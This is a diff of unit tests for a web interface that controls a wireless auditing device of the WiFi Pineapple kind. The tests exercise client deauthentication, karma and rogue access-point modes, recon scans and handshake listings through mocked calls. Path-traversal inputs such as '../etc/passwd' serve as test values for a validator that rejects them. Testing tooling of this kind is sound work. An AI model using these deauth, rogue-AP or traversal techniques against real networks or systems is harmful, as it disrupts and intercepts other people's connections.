self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'00:11:22:33:44:55'] and c[4] == '6' for c in calls))
def test_kick_not_associated_still_filters(self):
calls = []
def fake_run(argv, timeout=30):
calls.append(argv)
return 0, '', ''
server.device_run = fake_run
server.assoc_clients = lambda: []
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertEqual(status, 200)
self.assertIs(payload['deauth'], False)
self.assertTrue(any(c == [server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny',
'00:11:22:33:44:55'] for c in calls))
def test_kick_bad_mac_400(self):
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': 'x'}})())
@@ -51,12 +77,22 @@ class ClientsTest(unittest.TestCase):
def test_deauth_client(self):
calls = []
def fake(*args):
calls.append(args)
return 'ok'
server.hak5 = fake
server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertEqual(calls[0][0], 'PINEAPPLE_DEAUTH_CLIENT')
def fake_run(argv, timeout=30):
calls.append(argv)
return 0, '', ''
server.device_run = fake_run
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan1wpa', 'rssi': -60}]
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 149)
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertEqual(status, 200)
# 5 GHz client -> wlan1mon inject, no _pineap pin needed.
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'00:11:22:33:44:55'] and c[4] == '149' for c in calls))
def test_deauth_client_not_associated_502(self):
server.assoc_clients = lambda: []
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertEqual(status, 502)
if __name__ == '__main__':
+18 -6
View File
@@ -37,8 +37,7 @@ class PineapModeTest(unittest.TestCase):
status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'}))
self.assertEqual(status, 200)
self.assertEqual([c[1] for c in calls], [
'hostapd/enable_pineap', 'ssidpool/enable_collect',
'ssidpool/disable'])
'hostapd/enable_pineap', 'ssidpool/enable_collect'])
self.assertEqual(calls[0][2], {'enable': False})
self.assertEqual(payload['mode'], 'passive')
self.assertTrue(payload['collect'])
@@ -46,7 +45,7 @@ class PineapModeTest(unittest.TestCase):
self.assertFalse(payload['karma'])
self.assertFalse(payload['enabled'])
def test_active_enables_response_engine_and_pool_broadcasting(self):
def test_active_enables_response_engine_but_never_pool_broadcast(self):
calls = []
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
calls.append((method, path, body)) or (200, {'success': True}))
@@ -54,12 +53,24 @@ class PineapModeTest(unittest.TestCase):
self.assertEqual(status, 200)
self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True}))
self.assertNotIn('mimic/disable', [c[1] for c in calls])
self.assertEqual(calls[-1], ('POST', 'ssidpool/enable', {'enable': True}))
# The SSID-pool broadcast segfaults pineapd on this firmware: the
# active preset must never call ssidpool/enable.
self.assertNotIn('ssidpool/enable', [c[1] for c in calls])
self.assertEqual(payload['mode'], 'active')
self.assertTrue(payload['advertise'])
self.assertFalse(payload['advertise'])
self.assertTrue(payload['karma'])
self.assertTrue(payload['enabled'])
def test_advertise_refuses_when_pool_disabled(self):
server._uci_section = lambda name: {'disable': '1'}
calls = []
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
calls.append((method, path, body)) or (200, {'success': True}))
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
self.assertEqual(status, 400)
self.assertIn('cannot be re-enabled', payload['error'])
self.assertEqual(calls, [])
def test_advanced_preserves_device_settings(self):
calls = []
server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {}))
@@ -109,7 +120,8 @@ class PineapModeTest(unittest.TestCase):
server.daemon_sock_call = fake
status, payload = server.h_pineap_mode_get(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['mode'], 'advanced')
# Device truth wins: engine off means the device IS passive now.
self.assertEqual(payload['mode'], 'passive')
self.assertFalse(payload['enabled'])
def test_manual_mimic_change_marks_advanced(self):
+13 -5
View File
@@ -112,7 +112,7 @@ class PineapProxyTest(unittest.TestCase):
if sec == 'wireless.wlan0open':
return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", ''
if sec == 'wireless.radio0':
return 0, "wireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
return 0, "wireless.radio0.band='2g'\nwireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
if sec.startswith('pineapd.@ssidpool'):
return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", ''
return 0, '', ''
@@ -128,8 +128,12 @@ class PineapProxyTest(unittest.TestCase):
server.daemon_sock_call = fake_sock
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa'], {'ssid': 'Evil1', 'passphrase': 'sekret', 'enctype': 'psk2',
'hidden': False, 'enabled': True})
self.assertEqual(payload['wpa']['ssid'], 'Evil1')
self.assertEqual(payload['wpa']['passphrase'], 'sekret')
self.assertEqual(payload['wpa']['enctype'], 'psk2')
self.assertEqual(payload['wpa']['hidden'], False)
self.assertEqual(payload['wpa']['enabled'], True)
self.assertEqual(payload['wpa']['channel'], 6)
self.assertEqual(payload['open']['enabled'], False)
self.assertEqual(payload['open']['ssid'], 'pager-open')
self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01')
@@ -137,8 +141,12 @@ class PineapProxyTest(unittest.TestCase):
self.assertEqual(payload['open']['channel'], 6)
self.assertEqual(payload['open']['country'], 'US')
self.assertEqual(payload['open']['target'], 'broadcast')
self.assertEqual(payload['enterprise']['enabled'], True)
self.assertEqual(payload['enterprise']['enabled'], False)
self.assertEqual(payload['enterprise']['ssid'], '')
self.assertEqual(payload['pool']['collecting'], True)
self.assertEqual(payload['radios']['radio0']['band'], '2.4')
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
self.assertEqual(payload['pineape']['enabled'], True)
def test_wifi_set_ap_open_bssid_channel_and_country(self):
sock_calls = []
@@ -150,7 +158,7 @@ class PineapProxyTest(unittest.TestCase):
def fake_run(args):
run_calls.append(args)
if args[0] == 'uci' and args[1] == 'show':
if args[0] == 'uci' and args[1] == 'show' and args[2] == 'wireless.radio0':
return 0, "wireless.radio0.channel='1'\n", ''
return 0, '', ''
+633 -23
View File
@@ -76,8 +76,13 @@ class DecodersTest(unittest.TestCase):
self.assertEqual(server.decode_encryption(0x04), 'WPA')
self.assertEqual(server.decode_encryption(0x08), 'WPA2')
self.assertEqual(server.decode_encryption(0x04 | 0x08), 'WPA2 WPA')
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2')
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA')
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2 PSK')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33)), 'WPA3 WPA2 Enterprise')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 40)), 'WPA3 WPA2 SAE')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33) | (1 << 40)), 'WPA3 WPA2 Enterprise')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 45)), 'WPA3 WPA2 OWE')
self.assertEqual(server.decode_encryption(0x400400110), 'WPA3 PSK')
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA Enterprise')
class ReconDataTest(unittest.TestCase):
@@ -111,7 +116,7 @@ class ReconDataTest(unittest.TestCase):
self.assertEqual(a['ssid'], 'Anderson-5')
self.assertEqual(a['channel'], 149)
self.assertEqual(a['signal'], -76)
self.assertEqual(a['encryption'], 'WPA3 WPA2')
self.assertEqual(a['encryption'], 'WPA3 WPA2 PSK')
self.assertFalse(a['hidden'])
hidden = aps['50:6F:9A:01:00:00']
self.assertTrue(hidden['hidden'])
@@ -158,6 +163,10 @@ class FakeSock:
class DaemonSockTest(unittest.TestCase):
def setUp(self):
# h_recon_start now reads shared scan state; keep these isolated.
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
def test_socket_call_posts_json_to_sock(self):
server.DAEMON_SOCK = '/tmp/api.sock'
fake = FakeSock(b'HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\n{"success":true}')
@@ -182,9 +191,8 @@ class DaemonSockTest(unittest.TestCase):
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
server.h_recon_start(type('C', (), {'args': ()})())
server.h_recon_stop(type('C', (), {'args': ()})())
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {}))
self.assertEqual(calls[1], ('POST', '/api/pineap/log/recon/stop', {}))
self.assertEqual(calls, [
('POST', '/api/pineap/recon/new', {'scan_time': 30})])
def test_start_forwards_scan_time(self):
calls = []
@@ -192,19 +200,36 @@ class DaemonSockTest(unittest.TestCase):
ctx = type('C', (), {'args': (), 'body': {'scan_time': 60}})()
status, data = server.h_recon_start(ctx)
self.assertEqual(status, 200)
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {'scan_time': 60}))
self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 60}))
def test_start_defaults_empty_body(self):
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
server.h_recon_start(type('C', (), {'args': ()})())
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {}))
self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 30}))
def test_start_rejects_invalid_scan_time(self):
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body))
ctx = type('C', (), {'args': (), 'body': {'scan_time': 'forever'}})()
status, data = server.h_recon_start(ctx)
self.assertEqual(status, 400)
self.assertIn('scan_time', data['error'])
self.assertEqual(calls, [])
def test_start_reports_native_failure(self):
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
server.daemon_sock_call = lambda m, p, body=None: (500, {'error': 'no radio'})
status, data = server.h_recon_start(
type('C', (), {'args': (), 'body': {'scan_time': 30}})())
self.assertEqual(status, 502)
self.assertEqual(data['error'], 'native recon scan failed')
self.assertEqual(data['detail'], {'error': 'no radio'})
self.assertFalse(server._recon_scan_state['active'])
class ReconScanStateTest(unittest.TestCase):
"""The daemon ignores scan_time and scans continuously until 'stop'. The webui
must track the requested duration itself so timed scans actually end and the
toggle can reflect real scan state."""
"""The webui mirrors the duration of the Pager's native timed scan."""
def setUp(self):
self.db = make_db()
@@ -248,26 +273,33 @@ class ReconScanStateTest(unittest.TestCase):
self.assertFalse(data['scanning'])
self.assertEqual(data['scan_remaining'], 0)
def test_continuous_scan_has_no_remaining(self):
def test_zero_duration_is_rejected(self):
server.time.time = lambda: 1000.0
self._start(scan_time=0)
status, data = self._status()
self.assertTrue(data['scanning'])
self.assertIsNone(data['scan_remaining'])
status, data = self._start(scan_time=0)
self.assertEqual(status, 400)
self.assertFalse(server._recon_scan_state['active'])
def test_default_start_is_continuous(self):
def test_default_start_uses_thirty_seconds(self):
server.time.time = lambda: 1000.0
self._start()
status, data = self._status()
self.assertTrue(data['scanning'])
self.assertIsNone(data['scan_remaining'])
self.assertEqual(data['scan_remaining'], 30)
def test_stop_clears_scanning(self):
def test_stop_rejects_active_native_scan(self):
server.time.time = lambda: 1000.0
self._start(scan_time=30)
self._stop()
status, data = self._stop()
self.assertEqual(status, 409)
self.assertIn('finish automatically', data['error'])
self.assertEqual(data['scan_remaining'], 30)
status, data = self._status()
self.assertFalse(data['scanning'])
self.assertTrue(data['scanning'])
def test_stop_is_idempotent_when_inactive(self):
status, data = self._stop()
self.assertEqual(status, 200)
self.assertEqual(data, {'ok': True})
def test_start_failure_does_not_mark_scanning(self):
server.time.time = lambda: 1000.0
@@ -276,14 +308,27 @@ class ReconScanStateTest(unittest.TestCase):
status, data = self._status()
self.assertFalse(data['scanning'])
def test_watchdog_stops_expired_timed_scan(self):
def test_start_while_scanning_returns_409_without_restart(self):
server.time.time = lambda: 1000.0
self._start(scan_time=30)
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True})
status, data = server.h_recon_start(
type('C', (), {'args': (), 'body': {'scan_time': 30}})())
self.assertEqual(status, 409)
self.assertEqual(data['scan_remaining'], 30)
self.assertEqual(calls, [])
status, data = self._status()
self.assertTrue(data['scanning'])
def test_watchdog_stops_expired_timed_scan(self):
server.time.time = lambda: 1000.0
self._start(scan_time=10)
server.time.time = lambda: 1012.0
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True})
server._recon_watchdog_tick()
self.assertEqual(calls, [('POST', '/api/pineap/log/recon/stop')])
self.assertEqual(calls, [])
self.assertFalse(server._recon_scan_state['active'])
def test_watchdog_leaves_active_scan_alone(self):
@@ -316,6 +361,25 @@ class ReconExtrasTest(unittest.TestCase):
status, data = server.h_recon_status(type('C', (), {'args': ()})())
self.assertFalse(data['active'])
def test_status_includes_hopper_and_history_flags(self):
with mock.patch.object(server, '_hopper_online', return_value=False), \
mock.patch.object(server, '_recon_history_reset', return_value=True):
status, data = server.h_recon_status(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertFalse(data['hopper_online'])
self.assertTrue(data['history_reset'])
def test_hopper_online_cached(self):
server._hopper_cache.update({'updated': 0, 'online': None})
with mock.patch.object(server, 'wifi_ifaces',
return_value=['wlan0mon', 'wlan1mon', 'wlan2mon']):
self.assertTrue(server._hopper_online())
# Second call within the cache window must not re-run iwinfo.
with mock.patch.object(server, 'wifi_ifaces',
side_effect=AssertionError('cached, must not call iwinfo')):
self.assertTrue(server._hopper_online())
server._hopper_cache['updated'] = 0 # let other tests start fresh
def test_delete_cascades(self):
server.recon_delete_scan(1)
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM wifi_device')
@@ -331,6 +395,15 @@ class ReconExtrasTest(unittest.TestCase):
status, data = server.h_recon_delete(type('C', (), {'args': ('999',)})())
self.assertEqual(status, 404)
def test_delete_all_clears_every_scan(self):
status, data = server.h_recon_delete_all(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['deleted'], 2)
for table in ('scan', 'ssid', 'wifi_device', 'handshake',
'hostap_basic', 'hostap_chalresp'):
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM %s' % table)
self.assertEqual(rows[0]['c'], 0, table)
def test_events_lists_db_rows(self):
status, data = server.h_recon_events(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
@@ -454,6 +527,21 @@ class CliFallbackTest(unittest.TestCase):
server.RECON_DB = '/nonexistent.db'
self.assertEqual(server.decode_ssid('casaalicia\\x00.\\xde_'), 'casaalicia\x00.\ufffd_')
def test_completed_recon_lock_uses_immutable_read(self):
calls = []
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
def locked_then_read(args, timeout=20):
calls.append(args)
if len(calls) == 1:
return 5, '', 'Error: database is locked'
return 0, '[{"id": 2}]', ''
server.device_run = locked_then_read
rows = server._db_rows(self.db, 'SELECT MAX(id) AS id FROM scan')
self.assertEqual(rows, [{'id': 2}])
self.assertEqual(calls[1][-2], 'file:%s?immutable=1' % self.db)
def make_hs_db():
db = make_db()
@@ -597,3 +685,525 @@ class HandshakeRoutesTest(unittest.TestCase):
self.assertEqual(data['files'], [])
self.assertEqual(data['handshakes'], [])
self.assertEqual(os.listdir(self.dir), ['.hidden'])
class OuiVendorTest(unittest.TestCase):
def test_oui_prefix_forms(self):
self.assertEqual(server._oui_prefix('C8:9E:43:64:80:80'), 'C89E43')
self.assertEqual(server._oui_prefix('C89E43648080'), 'C89E43')
self.assertEqual(server._oui_prefix('c8:9e:43:64:80:80'), 'C89E43')
self.assertIsNone(server._oui_prefix(None))
self.assertIsNone(server._oui_prefix(''))
self.assertIsNone(server._oui_prefix('XX:YY:ZZ:00:00:00'))
def test_oui_vendor_lookup(self):
self.assertEqual(server.oui_vendor('B8:27:EB:00:00:00'), 'Raspberry Pi')
self.assertEqual(server.oui_vendor('10:BF:48:00:00:00'), 'Apple')
self.assertEqual(server.oui_vendor('14:CC:20:00:00:00'), 'TP-Link')
self.assertEqual(server.oui_vendor('FC:63:3E:00:00:00'), 'Google')
def test_oui_vendor_unknown_and_local(self):
self.assertEqual(server.oui_vendor('C8:9E:43:64:80:80'), 'Unknown')
self.assertEqual(server.oui_vendor('AE:77:C0:EB:31:41'), 'Local')
self.assertEqual(server.oui_vendor(None), 'Unknown')
self.assertEqual(server.oui_vendor('--'), 'Unknown')
def test_band_of_frequencies(self):
self.assertEqual(server.band_of(2412), '2.4')
self.assertEqual(server.band_of(5200), '5')
self.assertEqual(server.band_of(6180), '6')
self.assertEqual(server.band_of(0), '--')
self.assertEqual(server.band_of(None), '--')
def test_curated_table_has_no_garbage_keys(self):
for key in server.OUI_VENDORS:
self.assertRegex(key, r'^[0-9A-F]{6}$')
self.assertNotIn('349A...', server.OUI_VENDORS)
class ReconEnrichmentTest(unittest.TestCase):
def setUp(self):
self.db = make_db()
server.RECON_DB = self.db
def tearDown(self):
os.unlink(self.db)
def test_scan_detail_enriches_aps(self):
data = server.recon_scan_data(1)
aps = {a['bssid']: a for a in data['aps']}
a = aps['C8:9E:43:64:80:80']
self.assertEqual(a['band'], '5')
self.assertEqual(a['vendor'], 'Unknown')
self.assertEqual(a['first_seen'], 1786466532)
self.assertEqual(a['last_seen'], 1786466532)
hidden = aps['50:6F:9A:01:00:00']
self.assertEqual(hidden['band'], '5')
self.assertEqual(hidden['vendor'], 'Unknown')
def test_scan_detail_unassociated_count(self):
data = server.recon_scan_data(1)
self.assertEqual(data['unassociated'], 1)
def test_scan_detail_bounded_mode_counts_unassociated(self):
data = server.recon_scan_data(1, _limit=1)
self.assertEqual(data['unassociated'], 1)
self.assertEqual(len(data['aps']), 2)
self.assertLessEqual(len(data['clients']), 1)
self.assertEqual(data['scan']['id'], 1)
def test_first_last_seen_span_multiple_rows(self):
conn = sqlite3.connect(self.db)
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
"VALUES (30, 2, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0, 1786466540, -80, 5745, 149, 0x400400108)")
conn.commit()
conn.close()
data = server.recon_scan_data(1)
a = [a for a in data['aps'] if a['bssid'] == 'C8:9E:43:64:80:80'][0]
self.assertEqual(a['first_seen'], 1786466532)
self.assertEqual(a['last_seen'], 1786466540)
def test_band_for_24ghz_ap(self):
conn = sqlite3.connect(self.db)
conn.execute("INSERT INTO wifi_device (hash, scan, mac, time, signal, freq, packets) VALUES (3, 1, 'FC633E000001', 1786466533, -60, 2412, 4)")
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
"VALUES (31, 3, 1, 8, 'FC633E000001', X'4E6574776F726B', 0, 1786466533, -60, 2412, 6, 0x08)")
conn.commit()
conn.close()
data = server.recon_scan_data(1)
a = [a for a in data['aps'] if a['bssid'] == 'FC:63:3E:00:00:01'][0]
self.assertEqual(a['band'], '2.4')
self.assertEqual(a['vendor'], 'Google')
def test_scan_detail_handler_is_bounded_and_retried(self):
seen = {}
orig = server.recon_scan_data
def fake(scan_id, _timeout=20, _limit=None, db=None):
seen['limit'] = _limit
seen['db'] = db
return orig(scan_id, _timeout=_timeout, _limit=_limit, db=db)
with mock.patch.object(server, 'recon_scan_data', side_effect=fake), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_scan_detail(type('C', (), {'args': ('1',)})())
self.assertEqual(status, 200)
self.assertEqual(seen['limit'], 300)
# The live handler relies on the default, which resolves to RECON_DB.
self.assertIsNone(seen['db'])
self.assertEqual(data['scan']['id'], 1)
def test_scan_detail_handler_503_on_lock(self):
with mock.patch.object(server, 'recon_scan_data',
side_effect=RuntimeError('sqlite read failed: locked')), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_scan_detail(type('C', (), {'args': ('1',)})())
self.assertEqual(status, 503)
self.assertIn('temporarily unavailable', data['error'])
class ReconReportTest(unittest.TestCase):
def setUp(self):
self.db = make_db()
server.RECON_DB = self.db
def tearDown(self):
os.unlink(self.db)
def _ctx(self, args=()):
return type('C', (), {'args': args, 'body': {}})()
def test_csv_download_contains_aps_and_unassociated(self):
status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/csv')
self.assertEqual(payload.filename, 'scan-1.csv')
text = payload.data.decode('utf-8')
self.assertIn('Anderson-5', text)
self.assertIn('unassociated,1', text)
self.assertIn('C8:9E:43:64:80:80', text)
def test_html_download_contains_stats(self):
with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/html')
self.assertEqual(payload.filename, 'scan-1.html')
text = payload.data.decode('utf-8')
self.assertIn('Scan #1', text)
self.assertIn('Anderson-5', text)
self.assertIn('WPA3 WPA2', text)
# stat cards
self.assertIn('stat-card', text)
self.assertIn('Unassociated', text)
# band + encryption breakdowns
self.assertIn('Band Breakdown', text)
self.assertIn('Encryption Breakdown', text)
self.assertIn('WPA2', text)
# channel occupancy table
self.assertIn('Channel Occupancy', text)
self.assertIn('5 GHz', text)
self.assertIn('>149<', text)
# color-coded signal cells
self.assertIn('sig-weak', text)
self.assertIn('sig-good', text)
self.assertIn('-76 dBm', text)
# no GPS line without a fix
self.assertNotIn('GPS:', text)
def test_html_report_includes_gps_when_locked(self):
with mock.patch.object(server, '_gps_status_data',
return_value={'lock': True, 'lat': 37.7,
'lon': -122.4, 'satellites': 8}):
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
text = payload.data.decode('utf-8')
self.assertIn('GPS: 37.70000, -122.40000', text)
self.assertIn('8 sats', text)
def test_download_404_for_missing_scan(self):
status, payload = server.h_recon_scan_download_csv(self._ctx(('999',)))
self.assertEqual(status, 404)
status, payload = server.h_recon_scan_download_html(self._ctx(('999',)))
self.assertEqual(status, 404)
def test_download_503_when_db_unavailable(self):
with mock.patch.object(server, 'recon_scan_data',
side_effect=RuntimeError('sqlite read failed: locked')), \
mock.patch.object(server.time, 'sleep'):
status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
self.assertEqual(status, 503)
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
self.assertEqual(status, 503)
class ReconArchivesTest(unittest.TestCase):
"""Read-only history from pineapd-rotated databases (error-*-recon.db)."""
def setUp(self):
self.dir = tempfile.mkdtemp()
self.addCleanup(shutil.rmtree, self.dir)
self.archive_name = 'error-2026-08-18-19:21:42Z-recon.db'
tmp = make_db()
self.addCleanup(os.unlink, tmp)
server.RECON_DB = os.path.join(self.dir, 'recon.db')
shutil.copy(tmp, server.RECON_DB)
archive = os.path.join(self.dir, self.archive_name)
shutil.copy(tmp, archive)
conn = sqlite3.connect(archive)
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u3', 1786467000, 'pager')")
conn.commit()
conn.close()
def tearDown(self):
server._recon_archives_cache.update({'dir': None, 'updated': 0, 'data': None})
def _ctx(self, args=()):
return type('C', (), {'args': args, 'body': {}})()
def test_archives_list_finds_rotated_db(self):
data = server.recon_archives_data()
self.assertEqual(len(data['archives']), 1)
a = data['archives'][0]
self.assertEqual(a['id'], self.archive_name)
self.assertEqual(a['min_id'], 1)
self.assertEqual(a['max_id'], 3)
self.assertEqual(a['scans_count'], 3)
self.assertEqual([s['id'] for s in a['scans']], [3, 2, 1])
def test_archives_list_is_cached_per_directory(self):
orig = server.recon_scans_data
calls = []
def fake(limit=50, _timeout=20, db=None):
calls.append(db)
return orig(limit=limit, _timeout=_timeout, db=db)
with mock.patch.object(server, 'recon_scans_data', side_effect=fake):
server.recon_archives_data()
server.recon_archives_data()
# Second call within the cache window must not re-scan the archives.
self.assertEqual(len(calls), 1)
self.assertTrue(calls[0].endswith(self.archive_name))
def test_archive_path_rejects_traversal(self):
self.assertIsNone(server._recon_archive_path('..%2F..%2Fetc%2Fpasswd'))
self.assertIsNone(server._recon_archive_path('../etc/passwd'))
self.assertIsNone(server._recon_archive_path('error-x-recon.db/../evil'))
self.assertIsNone(server._recon_archive_path('random.db'))
self.assertIsNone(server._recon_archive_path(''))
self.assertIsNotNone(server._recon_archive_path(self.archive_name))
def test_archive_scan_detail_reads_archive_not_live(self):
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '3')))
self.assertEqual(status, 200)
self.assertEqual(data['scan']['id'], 3)
# The live db has no scan 3; the archive must be the source.
self.assertIsNone(server.recon_scan_data(3))
def test_archive_scan_detail_is_bounded(self):
seen = {}
orig = server.recon_scan_data
def fake(scan_id, _timeout=20, _limit=None, db=None):
seen.update({'limit': _limit, 'db': db})
return orig(scan_id, _timeout=_timeout, _limit=_limit, db=db)
with mock.patch.object(server, 'recon_scan_data', side_effect=fake), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(seen['limit'], 300)
self.assertTrue(seen['db'].endswith(self.archive_name))
def test_archive_scans_list(self):
status, data = server.h_recon_archive_scans(self._ctx((self.archive_name,)))
self.assertEqual(status, 200)
self.assertEqual([s['id'] for s in data['scans']], [3, 2, 1])
def test_archive_handlers_404_for_missing(self):
status, data = server.h_recon_archive_scans(self._ctx(('nope.db',)))
self.assertEqual(status, 404)
status, data = server.h_recon_archive_scan_detail(self._ctx(('nope.db', '1')))
self.assertEqual(status, 404)
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '999')))
self.assertEqual(status, 404)
def test_archive_downloads(self):
status, payload = server.h_recon_archive_scan_download(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, 'scan-1.json')
self.assertIn(b'Anderson-5', payload.data)
status, payload = server.h_recon_archive_scan_download_csv(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/csv')
self.assertIn(b'C8:9E:43:64:80:80', payload.data)
status, payload = server.h_recon_archive_scan_download_html(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/html')
text = payload.data.decode('utf-8')
self.assertIn('archived history', text)
self.assertIn('Anderson-5', text)
def test_archive_html_omits_current_gps(self):
# An archive is historical; attaching a current fix would mislead.
with mock.patch.object(server, '_gps_status_data',
return_value={'lock': True, 'lat': 37.7, 'lon': -122.4}):
status, payload = server.h_recon_archive_scan_download_html(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertNotIn('GPS:', payload.data.decode('utf-8'))
def test_archive_detail_503_on_lock(self):
with mock.patch.object(server, 'recon_scan_data',
side_effect=RuntimeError('sqlite read failed: locked')), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 503)
self.assertIn('temporarily unavailable', data['error'])
class GpsTest(unittest.TestCase):
def setUp(self):
server._gps_cache.update({'updated': 0, 'data': None})
@unittest.skipIf(os.name == 'nt', 'symlinks are not reliably available on Windows')
def test_serial_candidates_detect_bypath_targets(self):
d = tempfile.mkdtemp()
self.addCleanup(shutil.rmtree, d)
self.addCleanup(setattr, server, 'SERIAL_DIR', server.SERIAL_DIR)
server.SERIAL_DIR = d
os.symlink('/dev/ttyACM0', os.path.join(d, '1.3_1-1.3:1.0'))
os.symlink('/dev/ttyACM1', os.path.join(d, '1.3_1-1.3:1.2'))
with open(os.path.join(d, 'not-a-serial'), 'w') as f:
f.write('x')
candidates = server._gps_serial_candidates()
names = [name for name, _ in candidates]
self.assertEqual(names, ['1.3_1-1.3:1.0', '1.3_1-1.3:1.2'])
def test_gps_status_passthrough(self):
with mock.patch.object(server, '_gps_status_data_nocache',
return_value={'present': True, 'wigle': True}):
status, data = server.h_recon_gps(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertTrue(data['present'])
self.assertTrue(data['wigle'])
def test_gps_status_skips_hak5cmd_when_gpsd_down(self):
# GPS_GET can block for seconds when gpsd is down; it must not run.
with mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_gps_serial_candidates', return_value=[]), \
mock.patch.object(server, '_wigle_config', return_value={'logwigle': False}), \
mock.patch.object(server, '_gpsd_running', return_value=False), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_from_hak5cmd',
side_effect=AssertionError('GPS_GET must not run when gpsd is down')) as hak5:
data = server._gps_status_data_nocache()
self.assertFalse(data['gpsd_running'])
hak5.assert_not_called()
def test_gps_status_falls_back_to_hak5cmd_when_gpsd_up(self):
with mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_gps_serial_candidates', return_value=[]), \
mock.patch.object(server, '_wigle_config', return_value={'logwigle': False}), \
mock.patch.object(server, '_gpsd_running', return_value=True), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_from_hak5cmd',
